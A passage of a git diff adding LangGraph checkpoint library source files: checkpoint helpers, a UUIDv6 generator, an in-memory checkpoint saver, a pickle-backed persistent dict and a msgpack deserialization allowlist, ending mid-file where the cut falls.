-> BaseCheckpointSaver[V]: + """Return a shallow clone with a derived msgpack allowlist.""" + serde = _with_msgpack_allowlist(self.serde, extra_allowlist) + if serde is self.serde: + return self + clone = copy.copy(self) + clone.serde = maybe_add_typed_methods(serde) + return clone + + +def _with_msgpack_allowlist( + serde: SerializerProtocol, extra_allowlist: Collection[tuple[str, ...]] +) -> SerializerProtocol: + if isinstance(serde, JsonPlusSerializer): + return serde.with_msgpack_allowlist(extra_allowlist) + if isinstance(serde, EncryptedSerializer): + inner = serde.serde + if isinstance(inner, JsonPlusSerializer): + updated_inner = inner.with_msgpack_allowlist(extra_allowlist) + if updated_inner is inner: + return serde + return EncryptedSerializer(serde.cipher, updated_inner) + logger.warning( + "Serializer %s does not support msgpack allowlist. " + "Strict msgpack deserialization will not be enforced.", + type(serde).__name__, + ) + return serde + + +class EmptyChannelError(Exception): + """Raised when attempting to get the value of a channel that hasn't been updated + for the first time yet.""" + + pass + + +def get_checkpoint_id(config: RunnableConfig) -> str | None: + """Get checkpoint ID.""" + return config["configurable"].get("checkpoint_id") + + +def get_checkpoint_metadata( + config: RunnableConfig, metadata: CheckpointMetadata +) -> CheckpointMetadata: + """Get checkpoint metadata in a backwards-compatible manner.""" + metadata = { + k: v.replace("\u0000", "") if isinstance(v, str) else v + for k, v in metadata.items() + } + for obj in (config.get("metadata"), config.get("configurable")): + if not obj: + continue + for key, v in obj.items(): + if key in metadata or key in EXCLUDED_METADATA_KEYS or key.startswith("__"): + continue + elif isinstance(v, str): + metadata[key] = v.replace("\u0000", "") + elif isinstance(v, (int, bool, float)): + metadata[key] = v + return metadata + + +def get_serializable_checkpoint_metadata( + config: RunnableConfig, metadata: CheckpointMetadata +) -> CheckpointMetadata: + """Get checkpoint metadata in a backwards-compatible manner.""" + checkpoint_metadata = get_checkpoint_metadata(config, metadata) + if "writes" in checkpoint_metadata: + checkpoint_metadata.pop("writes") + return checkpoint_metadata + + +""" +Mapping from error type to error index. +Regular writes just map to their index in the list of writes being saved. +Special writes (e.g. errors) map to negative indices, to avoid those writes from +conflicting with regular writes. +Each Checkpointer implementation should use this mapping in put_writes. +""" +WRITES_IDX_MAP = {ERROR: -1, SCHEDULED: -2, INTERRUPT: -3, RESUME: -4} + +EXCLUDED_METADATA_KEYS = { + "thread_id", + "checkpoint_id", + "checkpoint_ns", + "checkpoint_map", + "langgraph_step", + "langgraph_node", + "langgraph_triggers", + "langgraph_path", + "langgraph_checkpoint_ns", +} + +# --- below are deprecated utilities used by past versions of LangGraph --- + +LATEST_VERSION = 2 + + +def empty_checkpoint() -> Checkpoint: + from datetime import datetime, timezone + + return Checkpoint( + v=LATEST_VERSION, + id=str(uuid6(clock_seq=-2)), + ts=datetime.now(timezone.utc).isoformat(), + channel_values={}, + channel_versions={}, + versions_seen={}, + pending_sends=[], + updated_channels=None, + ) + + +def create_checkpoint( + checkpoint: Checkpoint, + channels: Mapping[str, ChannelProtocol] | None, + step: int, + *, + id: str | None = None, +) -> Checkpoint: + """Create a checkpoint for the given channels.""" + from datetime import datetime, timezone + + ts = datetime.now(timezone.utc).isoformat() + if channels is None: + values = checkpoint["channel_values"] + else: + values = {} + for k, v in channels.items(): + if k not in checkpoint["channel_versions"]: + continue + try: + values[k] = v.checkpoint() + except EmptyChannelError: + pass + return Checkpoint( + v=LATEST_VERSION, + ts=ts, + id=id or str(uuid6(clock_seq=step)), + channel_values=values, + channel_versions=checkpoint["channel_versions"], + versions_seen=checkpoint["versions_seen"], + pending_sends=checkpoint.get("pending_sends", []), + updated_channels=None, + ) diff --git a/libs/checkpoint/langgraph/checkpoint/base/id.py b/libs/checkpoint/langgraph/checkpoint/base/id.py new file mode 100644 index 0000000..30abc48 --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/base/id.py @@ -0,0 +1,109 @@ +"""Adapted from +https://github.com/oittaa/uuid6-python/blob/main/src/uuid6/__init__.py#L95 +Bundled in to avoid install issues with uuid6 package +""" + +from __future__ import annotations + +import random +import time +import uuid + +_last_v6_timestamp = None + + +class UUID(uuid.UUID): + r"""UUID draft version objects""" + + __slots__ = () + + def __init__( + self, + hex: str | None = None, + bytes: bytes | None = None, + bytes_le: bytes | None = None, + fields: tuple[int, int, int, int, int, int] | None = None, + int: int | None = None, + version: int | None = None, + *, + is_safe: uuid.SafeUUID = uuid.SafeUUID.unknown, + ) -> None: + r"""Create a UUID.""" + + if int is None or [hex, bytes, bytes_le, fields].count(None) != 4: + return super().__init__( + hex=hex, + bytes=bytes, + bytes_le=bytes_le, + fields=fields, + int=int, + version=version, + is_safe=is_safe, + ) + if not 0 <= int < 1 << 128: + raise ValueError("int is out of range (need a 128-bit value)") + if version is not None: + if not 6 <= version <= 8: + raise ValueError("illegal version number") + # Set the variant to RFC 4122. + int &= ~(0xC000 << 48) + int |= 0x8000 << 48 + # Set the version number. + int &= ~(0xF000 << 64) + int |= version << 76 + super().__init__(int=int, is_safe=is_safe) + + @property + def subsec(self) -> int: + return ((self.int >> 64) & 0x0FFF) << 8 | ((self.int >> 54) & 0xFF) + + @property + def time(self) -> int: + if self.version == 6: + return ( + (self.time_low << 28) + | (self.time_mid << 12) + | (self.time_hi_version & 0x0FFF) + ) + if self.version == 7: + return self.int >> 80 + if self.version == 8: + return (self.int >> 80) * 10**6 + _subsec_decode(self.subsec) + return super().time + + +def _subsec_decode(value: int) -> int: + return -(-value * 10**6 // 2**20) + + +def uuid6(node: int | None = None, clock_seq: int | None = None) -> UUID: + r"""UUID version 6 is a field-compatible version of UUIDv1, reordered for + improved DB locality. It is expected that UUIDv6 will primarily be + used in contexts where there are existing v1 UUIDs. Systems that do + not involve legacy UUIDv1 SHOULD consider using UUIDv7 instead. + + If 'node' is not given, a random 48-bit number is chosen. + + If 'clock_seq' is given, it is used as the sequence number; + otherwise a random 14-bit sequence number is chosen.""" + + global _last_v6_timestamp + + nanoseconds = time.time_ns() + # 0x01b21dd213814000 is the number of 100-ns intervals between the + # UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00. + timestamp = nanoseconds // 100 + 0x01B21DD213814000 + if _last_v6_timestamp is not None and timestamp <= _last_v6_timestamp: + timestamp = _last_v6_timestamp + 1 + _last_v6_timestamp = timestamp + if clock_seq is None: + clock_seq = random.getrandbits(14) # instead of stable storage + if node is None: + node = random.getrandbits(48) + time_high_and_time_mid = (timestamp >> 12) & 0xFFFFFFFFFFFF + time_low_and_version = timestamp & 0x0FFF + uuid_int = time_high_and_time_mid << 80 + uuid_int |= time_low_and_version << 64 + uuid_int |= (clock_seq & 0x3FFF) << 48 + uuid_int |= node & 0xFFFFFFFFFFFF + return UUID(int=uuid_int, version=6) diff --git a/libs/checkpoint/langgraph/checkpoint/base/py.typed b/libs/checkpoint/langgraph/checkpoint/base/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/langgraph/checkpoint/memory/__init__.py b/libs/checkpoint/langgraph/checkpoint/memory/__init__.py new file mode 100644 index 0000000..80043c7 --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/memory/__init__.py @@ -0,0 +1,704 @@ +from __future__ import annotations + +import logging +import os +import pickle +import random +import shutil +from collections import defaultdict +from collections.abc import AsyncIterator, Iterator, Mapping, Sequence +from contextlib import AbstractAsyncContextManager, AbstractContextManager, ExitStack +from types import TracebackType +from typing import Any + +from langchain_core.runnables import RunnableConfig + +from langgraph.checkpoint.base import ( + WRITES_IDX_MAP, + BaseCheckpointSaver, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, + DeltaChannelHistory, + PendingWrite, + SerializerProtocol, + get_checkpoint_id, + get_checkpoint_metadata, +) + +logger = logging.getLogger(__name__) + + +class InMemorySaver( + BaseCheckpointSaver[str], AbstractContextManager, AbstractAsyncContextManager +): + """An in-memory checkpoint saver. + + This checkpoint saver stores checkpoints in memory using a `defaultdict`. + + Note: + Only use `InMemorySaver` for debugging or testing purposes. + For production use cases we recommend installing [langgraph-checkpoint-postgres](https://pypi.org/project/langgraph-checkpoint-postgres/) and using `PostgresSaver` / `AsyncPostgresSaver`. + + If you are using LangSmith Deployment, no checkpointer needs to be specified. The correct managed checkpointer will be used automatically. + + Args: + serde: The serializer to use for serializing and deserializing checkpoints. + + Example: + ```python + import asyncio + + from langgraph.checkpoint.memory import InMemorySaver + from langgraph.graph import StateGraph + + builder = StateGraph(int) + builder.add_node("add_one", lambda x: x + 1) + builder.set_entry_point("add_one") + builder.set_finish_point("add_one") + + memory = InMemorySaver() + graph = builder.compile(checkpointer=memory) + coro = graph.ainvoke(1, {"configurable": {"thread_id": "thread-1"}}) + asyncio.run(coro) # Output: 2 + ``` + """ + + # thread ID -> checkpoint NS -> checkpoint ID -> checkpoint mapping + storage: defaultdict[ + str, + dict[str, dict[str, tuple[tuple[str, bytes], tuple[str, bytes], str | None]]], + ] + # (thread ID, checkpoint NS, checkpoint ID) -> (task ID, write idx) + writes: defaultdict[ + tuple[str, str, str], + dict[tuple[str, int], tuple[str, str, tuple[str, bytes], str]], + ] + blobs: dict[ + tuple[ + str, str, str, str | int | float + ], # thread id, checkpoint ns, channel, version + tuple[str, bytes], + ] + + def __init__( + self, + *, + serde: SerializerProtocol | None = None, + factory: type[defaultdict] = defaultdict, + ) -> None: + super().__init__(serde=serde) + self.storage = factory(lambda: defaultdict(dict)) + self.writes = factory(dict) + self.blobs = factory() + self.stack = ExitStack() + if factory is not defaultdict: + self.stack.enter_context(self.storage) # type: ignore[arg-type] + self.stack.enter_context(self.writes) # type: ignore[arg-type] + self.stack.enter_context(self.blobs) # type: ignore[arg-type] + + def __enter__(self) -> InMemorySaver: + self.stack.__enter__() + return self + + def __exit__( + self, + exc_type: type[BaseException] | None, + exc_value: BaseException | None, + traceback: TracebackType | None, + ) -> bool | None: + return self.stack.__exit__(exc_type, exc_value, traceback) + + async def __aenter__(self) -> InMemorySaver: + self.stack.__enter__() + return self + + async def __aexit__( + self, + __exc_type: type[BaseException] | None, + __exc_value: BaseException | None, + __traceback: TracebackType | None, + ) -> bool | None: + return self.stack.__exit__(__exc_type, __exc_value, __traceback) + + def _load_blobs( + self, + thread_id: str, + checkpoint_ns: str, + versions: ChannelVersions, + ) -> dict[str, Any]: + result: dict[str, Any] = {} + for k, ver in versions.items(): + kk = (thread_id, checkpoint_ns, k, ver) + if kk not in self.blobs: + continue + vv = self.blobs[kk] + if vv[0] == "empty": + continue + result[k] = self.serde.loads_typed(vv) + return result + + def get_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Override: walk the parent chain ONCE for all requested channels. + + Each channel terminates independently at the nearest ancestor + whose stored blob is non-empty. Other channels keep walking until + they find their own terminator or hit the root. + + Pre-delta plain-value blobs subsume their ancestor's pending + writes (the value already includes them); `_DeltaSnapshot` blobs + do not (snapshot is the value AT that ancestor, prior to its own + pending writes that produce the child). + """ + if not channels: + return {} + # Imported lazily to avoid a hard checkpoint→serde-types coupling at + # module import; only this override needs the runtime check. + from langgraph.checkpoint.serde.types import _DeltaSnapshot + + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + checkpoint_id = config["configurable"].get("checkpoint_id", "") + ns_storage = self.storage.get(thread_id, {}).get(checkpoint_ns, {}) + + chain: list[str] = [] + target_entry = ns_storage.get(checkpoint_id) + current: str | None = target_entry[2] if target_entry is not None else None + while current is not None: + entry = ns_storage.get(current) + if entry is None: + break + chain.append(current) + _, _, parent = entry + current = parent + + collected_by_ch: dict[str, list[PendingWrite]] = {c: [] for c in channels} + seed_by_ch: dict[str, Any] = {} + remaining: set[str] = set(channels) + + for cp_id in chain: + if not remaining: + break + entry = ns_storage.get(cp_id) + ckpt = self.serde.loads_typed(entry[0]) if entry is not None else None + + terminated_here: set[str] = set() + blob_value_by_ch: dict[str, Any] = {} + if ckpt is not None: + versions = ckpt.get("channel_versions", {}) + for ch in remaining: + ver = versions.get(ch) + if ver is None: + continue + blob_entry = self.blobs.get((thread_id, checkpoint_ns, ch, ver)) + if blob_entry is None or blob_entry[0] == "empty": + continue + blob_value_by_ch[ch] = self.serde.loads_typed(blob_entry) + terminated_here.add(ch) + + step_writes = self.writes.get((thread_id, checkpoint_ns, cp_id), {}) + for (_task_id, _idx), (tid, ch, serialized, _) in sorted( + step_writes.items(), reverse=True + ): + if ch not in remaining: + continue + blob_value = blob_value_by_ch.get(ch) + if blob_value is not None and not isinstance( + blob_value, _DeltaSnapshot + ): + continue + collected_by_ch[ch].append( + (tid, ch, self.serde.loads_typed(serialized)) + ) + + for ch in terminated_here: + seed_by_ch[ch] = blob_value_by_ch[ch] + remaining.discard(ch) + + result: dict[str, DeltaChannelHistory] = {} + for ch in channels: + entry_h: DeltaChannelHistory = { + "writes": list(reversed(collected_by_ch[ch])) + } + if ch in seed_by_ch: + entry_h["seed"] = seed_by_ch[ch] + result[ch] = entry_h + return result + + async def aget_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + return self.get_delta_channel_history(config=config, channels=channels) + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the in-memory storage. + + This method retrieves a checkpoint tuple from the in-memory storage based on the + provided config. If the config contains a `checkpoint_id` key, the checkpoint with + the matching thread ID and timestamp is retrieved. Otherwise, the latest checkpoint + for the given thread ID is retrieved. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + thread_id: str = config["configurable"]["thread_id"] + checkpoint_ns: str = config["configurable"].get("checkpoint_ns", "") + if checkpoint_id := get_checkpoint_id(config): + if saved := self.storage[thread_id][checkpoint_ns].get(checkpoint_id): + checkpoint, metadata, parent_checkpoint_id = saved + writes = self.writes[(thread_id, checkpoint_ns, checkpoint_id)].values() + checkpoint_: Checkpoint = self.serde.loads_typed(checkpoint) + return CheckpointTuple( + config=config, + checkpoint={ + **checkpoint_, + "channel_values": self._load_blobs( + thread_id, checkpoint_ns, checkpoint_["channel_versions"] + ), + }, + metadata=self.serde.loads_typed(metadata), + pending_writes=[ + (id, c, self.serde.loads_typed(v)) for id, c, v, _ in writes + ], + parent_config=( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": parent_checkpoint_id, + } + } + if parent_checkpoint_id + else None + ), + ) + else: + if checkpoints := self.storage[thread_id][checkpoint_ns]: + checkpoint_id = max(checkpoints.keys()) + checkpoint, metadata, parent_checkpoint_id = checkpoints[checkpoint_id] + writes = self.writes[(thread_id, checkpoint_ns, checkpoint_id)].values() + checkpoint_ = self.serde.loads_typed(checkpoint) + return CheckpointTuple( + config={ + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint_id, + } + }, + checkpoint={ + **checkpoint_, + "channel_values": self._load_blobs( + thread_id, checkpoint_ns, checkpoint_["channel_versions"] + ), + }, + metadata=self.serde.loads_typed(metadata), + pending_writes=[ + (id, c, self.serde.loads_typed(v)) for id, c, v, _ in writes + ], + parent_config=( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": parent_checkpoint_id, + } + } + if parent_checkpoint_id + else None + ), + ) + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints from the in-memory storage. + + This method retrieves a list of checkpoint tuples from the in-memory storage based + on the provided criteria. + + Args: + config: Base configuration for filtering checkpoints. + filter: Additional filtering criteria for metadata. + before: List checkpoints created before this configuration. + limit: Maximum number of checkpoints to return. + + Yields: + An iterator of matching checkpoint tuples. + """ + thread_ids = (config["configurable"]["thread_id"],) if config else self.storage + config_checkpoint_ns = ( + config["configurable"].get("checkpoint_ns") if config else None + ) + config_checkpoint_id = get_checkpoint_id(config) if config else None + for thread_id in thread_ids: + for checkpoint_ns in self.storage[thread_id].keys(): + if ( + config_checkpoint_ns is not None + and checkpoint_ns != config_checkpoint_ns + ): + continue + + for checkpoint_id, ( + checkpoint, + metadata_b, + parent_checkpoint_id, + ) in sorted( + self.storage[thread_id][checkpoint_ns].items(), + key=lambda x: x[0], + reverse=True, + ): + # filter by checkpoint ID from config + if config_checkpoint_id and checkpoint_id != config_checkpoint_id: + continue + + # filter by checkpoint ID from `before` config + if ( + before + and (before_checkpoint_id := get_checkpoint_id(before)) + and checkpoint_id >= before_checkpoint_id + ): + continue + + # filter by metadata + metadata = self.serde.loads_typed(metadata_b) + if filter and not all( + query_value == metadata.get(query_key) + for query_key, query_value in filter.items() + ): + continue + + # limit search results + if limit is not None and limit <= 0: + break + elif limit is not None: + limit -= 1 + + writes = self.writes[ + (thread_id, checkpoint_ns, checkpoint_id) + ].values() + + checkpoint_: Checkpoint = self.serde.loads_typed(checkpoint) + + yield CheckpointTuple( + config={ + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint_id, + } + }, + checkpoint={ + **checkpoint_, + "channel_values": self._load_blobs( + thread_id, + checkpoint_ns, + checkpoint_["channel_versions"], + ), + }, + metadata=metadata, + parent_config=( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": parent_checkpoint_id, + } + } + if parent_checkpoint_id + else None + ), + pending_writes=[ + (id, c, self.serde.loads_typed(v)) for id, c, v, _ in writes + ], + ) + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the in-memory storage. + + This method saves a checkpoint to the in-memory storage. The checkpoint is associated + with the provided config. + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New versions as of this write + + Returns: + RunnableConfig: The updated config containing the saved checkpoint's timestamp. + """ + c = checkpoint.copy() + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"]["checkpoint_ns"] + values: dict[str, Any] = c.pop("channel_values") # type: ignore[misc] + for k, v in new_versions.items(): + self.blobs[(thread_id, checkpoint_ns, k, v)] = ( + self.serde.dumps_typed(values[k]) if k in values else ("empty", b"") + ) + self.storage[thread_id][checkpoint_ns].update( + { + checkpoint["id"]: ( + self.serde.dumps_typed(c), + self.serde.dumps_typed(get_checkpoint_metadata(config, metadata)), + config["configurable"].get("checkpoint_id"), # parent + ) + } + ) + return { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + } + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Save a list of writes to the in-memory storage. + + This method saves a list of writes to the in-memory storage. The writes are associated + with the provided config. + + Args: + config: The config to associate with the writes. + writes: The writes to save. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + + Returns: + RunnableConfig: The updated config containing the saved writes' timestamp. + """ + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + checkpoint_id = config["configurable"]["checkpoint_id"] + outer_key = (thread_id, checkpoint_ns, checkpoint_id) + outer_writes_ = self.writes.get(outer_key) + for idx, (c, v) in enumerate(writes): + inner_key = (task_id, WRITES_IDX_MAP.get(c, idx)) + if inner_key[1] >= 0 and outer_writes_ and inner_key in outer_writes_: + continue + + self.writes[outer_key][inner_key] = ( + task_id, + c, + self.serde.dumps_typed(v), + task_path, + ) + + def delete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + if thread_id in self.storage: + del self.storage[thread_id] + for k in list(self.writes.keys()): + if k[0] == thread_id: + del self.writes[k] + for k in list(self.blobs.keys()): + if k[0] == thread_id: + del self.blobs[k] + + async def aget_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Asynchronous version of `get_tuple`. + + This method is an asynchronous wrapper around `get_tuple` that runs the synchronous + method in a separate thread using asyncio. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + return self.get_tuple(config) + + async def alist( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> AsyncIterator[CheckpointTuple]: + """Asynchronous version of `list`. + + This method is an asynchronous wrapper around `list` that runs the synchronous + method in a separate thread using asyncio. + + Args: + config: The config to use for listing the checkpoints. + + Yields: + An asynchronous iterator of checkpoint tuples. + """ + for item in self.list(config, filter=filter, before=before, limit=limit): + yield item + + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Asynchronous version of `put`. + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New versions as of this write + + Returns: + RunnableConfig: The updated config containing the saved checkpoint's timestamp. + """ + return self.put(config, checkpoint, metadata, new_versions) + + async def aput_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Asynchronous version of `put_writes`. + + This method is an asynchronous wrapper around `put_writes` that runs the synchronous + method in a separate thread using asyncio. + + Args: + config: The config to associate with the writes. + writes: The writes to save, each as a (channel, value) pair. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + + Returns: + None + """ + return self.put_writes(config, writes, task_id, task_path) + + async def adelete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + return self.delete_thread(thread_id) + + def get_next_version(self, current: str | None, channel: None) -> str: + if current is None: + current_v = 0 + elif isinstance(current, int): + current_v = current + else: + current_v = int(current.split(".")[0]) + next_v = current_v + 1 + next_h = random.random() + return f"{next_v:032}.{next_h:016}" + + +MemorySaver = InMemorySaver # Kept for backwards compatibility + + +class PersistentDict(defaultdict): + """Persistent dictionary with an API compatible with shelve and anydbm. + + The dict is kept in memory, so the dictionary operations run as fast as + a regular dictionary. + + Write to disk is delayed until close or sync (similar to gdbm's fast mode). + + Input file format is automatically discovered. + Output file format is selectable between pickle, json, and csv. + All three serialization formats are backed by fast C implementations. + + Adapted from https://code.activestate.com/recipes/576642-persistent-dict-with-multiple-standard-file-format/ + + """ + + def __init__(self, *args: Any, filename: str, **kwds: Any) -> None: + self.flag = "c" # r=readonly, c=create, or n=new + self.mode = None # None or an octal triple like 0644 + self.format = "pickle" # 'csv', 'json', or 'pickle' + self.filename = filename + super().__init__(*args, **kwds) + + def sync(self) -> None: + "Write dict to disk" + if self.flag == "r": + return + tempname = self.filename + ".tmp" + fileobj = open(tempname, "wb" if self.format == "pickle" else "w") + try: + self.dump(fileobj) + except Exception: + os.remove(tempname) + raise + finally: + fileobj.close() + shutil.move(tempname, self.filename) # atomic commit + if self.mode is not None: + os.chmod(self.filename, self.mode) + + def close(self) -> None: + self.sync() + self.clear() + + def __enter__(self) -> PersistentDict: + return self + + def __exit__(self, *exc_info: Any) -> None: + self.close() + + def dump(self, fileobj: Any) -> None: + if self.format == "pickle": + pickle.dump(dict(self), fileobj, 2) + else: + raise NotImplementedError("Unknown format: " + repr(self.format)) + + def load(self) -> None: + # try formats from most restrictive to least restrictive + if self.flag == "n": + return + with open(self.filename, "rb" if self.format == "pickle" else "r") as fileobj: + for loader in (pickle.load,): + fileobj.seek(0) + try: + return self.update(loader(fileobj)) + except EOFError: + return + except Exception: + logger.error(f"Failed to load file: {fileobj.name}") + raise + raise ValueError("File not in a supported format") diff --git a/libs/checkpoint/langgraph/checkpoint/memory/py.typed b/libs/checkpoint/langgraph/checkpoint/memory/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/langgraph/checkpoint/serde/__init__.py b/libs/checkpoint/langgraph/checkpoint/serde/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py b/libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py new file mode 100644 index 0000000..1a5188f --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py @@ -0,0 +1,97 @@ +"""Msgpack deserialization safety controls. + +Set ``LANGGRAPH_STRICT_MSGPACK=true`` to restrict checkpoint deserialization +to the types listed in ``SAFE_MSGPACK_TYPES``. Without this, any Python +callable stored in checkpoint data will be imported and executed on load. +""" + +import os +from collections.abc import Iterable +from typing import cast + +STRICT_MSGPACK_ENABLED = os.getenv("LANGGRAPH_STRICT_MSGPACK", "false").lower() in ( + "1", + "true", + "yes", +) + + +_SENTINEL = cast(None, object()) + +SAFE_MSGPACK_TYPES: frozenset[tuple[str, ...]] = frozenset( + { + # datetime types + ("datetime", "datetime"), + ("datetime", "date"), + ("datetime", "time"), + ("datetime", "timedelta"), + ("datetime", "timezone"), + # uuid + ("uuid", "UUID"), + # numeric + ("decimal", "Decimal"), + # collections + ("builtins", "set"), + ("builtins", "frozenset"), + ("collections", "deque"), + # ip addresses + ("ipaddress", "IPv4Address"), + ("ipaddress", "IPv4Interface"), + ("ipaddress", "IPv4Network"), + ("ipaddress", "IPv6Address"), + ("ipaddress", "IPv6Interface"), + ("ipaddress", "IPv6Network"), + # pathlib + ("pathlib", "Path"), + ("pathlib", "PosixPath"), + ("pathlib", "WindowsPath"), + # pathlib in Python 3.13+ + ("pathlib._local", "Path"), + ("pathlib._local", "PosixPath"), + ("pathlib._local", "WindowsPath"), + # zoneinfo + ("zoneinfo", "ZoneInfo"), + # regex + ("re", "compile"), + # langchain-core messages (safe container types used by graph state) + ("langchain_core.messages.base", "BaseMessage"), + ("langchain_core.messages.base", "BaseMessageChunk"), + ("langchain_core.messages.human", "HumanMessage"), + ("langchain_core.messages.human", "HumanMessageChunk"), + ("langchain_core.messages.ai", "AIMessage"), + ("langchain_core.messages.ai", "AIMessageChunk"), + ("langchain_core.messages.system", "SystemMessage"), + ("langchain_core.messages.system", "SystemMessageChunk"), + ("langchain_core.messages.chat", "ChatMessage"), + ("langchain_core.messages.chat", "ChatMessageChunk"), + ("langchain_core.messages.tool", "ToolMessage"), + ("langchain_core.messages.tool", "ToolMessageChunk"), + ("langchain_core.messages.function", "FunctionMessage"), + ("langchain_core.messages.function", "FunctionMessageChunk"), + ("langchain_core.messages.modifier", "RemoveMessage"), + # langchain-core document model + ("langchain_core.documents.base", "Document"), + # langgraph + ("langgraph.types", "Send"), + ("langgraph.types", "TimeoutPolicy"), + ("langgraph.types", "Interrupt"), + ("langgraph.types", "Command"), + ("langgraph.types", "StateSnapshot"), + ("langgraph.types", "PregelTask"), + ("langgraph.types", "Overwrite"), + ("langgraph.store.base", "Item"), + ("langgraph.store.base", "GetOp"), + } +) + +# Allowed (module, name, method) triples for EXT_METHOD_SINGLE_ARG. +# Only these specific method invocations are permitted during deserialization. +# This is separate from SAFE_MSGPACK_TYPES which only governs construction. +SAFE_MSGPACK_METHODS: frozenset[tuple[str, str, str]] = frozenset( + { + ("datetime", "datetime", "fromisoformat"), + } +) + + +AllowedMsgpackModules = Iterable[tuple[str, ...] | type] diff --git a/libs/checkpoint/langgraph/checkpoint/serde/base.py b/libs/checkpoint/langgraph/checkpoint/serde/base.py new file mode 100644 index 0000000..186e162 --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/serde/base.py @@ -0,0 +1,64 @@ +from __future__ import annotations + +from typing import Any, Protocol, runtime_checkable + + +class UntypedSerializerProtocol(Protocol): + """Protocol for serialization and deserialization of objects.""" + + def dumps(self, obj: Any) -> bytes: ... + + def loads(self, data: bytes) -> Any: ... + + +@runtime_checkable +class SerializerProtocol(Protocol): + """Protocol for serialization and deserialization of objects. + + - `dumps_typed`: Serialize an object to a tuple `(type, bytes)`. + - `loads_typed`: Deserialize an object from a tuple `(type, bytes)`. + + Valid implementations include the `pickle`, `json` and `orjson` modules. + """ + + def dumps_typed(self, obj: Any) -> tuple[str, bytes]: ... + + def loads_typed(self, data: tuple[str, bytes]) -> Any: ... + + +class SerializerCompat(SerializerProtocol): + def __init__(self, serde: UntypedSerializerProtocol) -> None: + self.serde = serde + + def dumps_typed(self, obj: Any) -> tuple[str, bytes]: + return type(obj).__name__, self.serde.dumps(obj) + + def loads_typed(self, data: tuple[str, bytes]) -> Any: + return self.serde.loads(data[1]) + + +def maybe_add_typed_methods( + serde: SerializerProtocol | UntypedSerializerProtocol, +) -> SerializerProtocol: + """Wrap serde old serde implementations in a class with loads_typed and dumps_typed for backwards compatibility.""" + + if not isinstance(serde, SerializerProtocol): + return SerializerCompat(serde) + + return serde + + +class CipherProtocol(Protocol): + """Protocol for encryption and decryption of data. + + - `encrypt`: Encrypt plaintext. + - `decrypt`: Decrypt ciphertext. + """ + + def encrypt(self, plaintext: bytes) -> tuple[str, bytes]: + """Encrypt plaintext. Returns a tuple `(cipher name, ciphertext)`.""" + ... + + def decrypt(self, ciphername: str, ciphertext: bytes) -> bytes: + """Decrypt ciphertext. Returns the plaintext.""" + ... diff --git a/libs/checkpoint/langgraph/checkpoint/serde/encrypted.py b/libs/checkpoint/langgraph/checkpoint/serde/encrypted.py new file mode 100644 index 0000000..9f517e4 --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/serde/encrypted.py @@ -0,0 +1,80 @@ +import os +from typing import Any + +from langgraph.checkpoint.serde.base import CipherProtocol, SerializerProtocol +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer + + +class 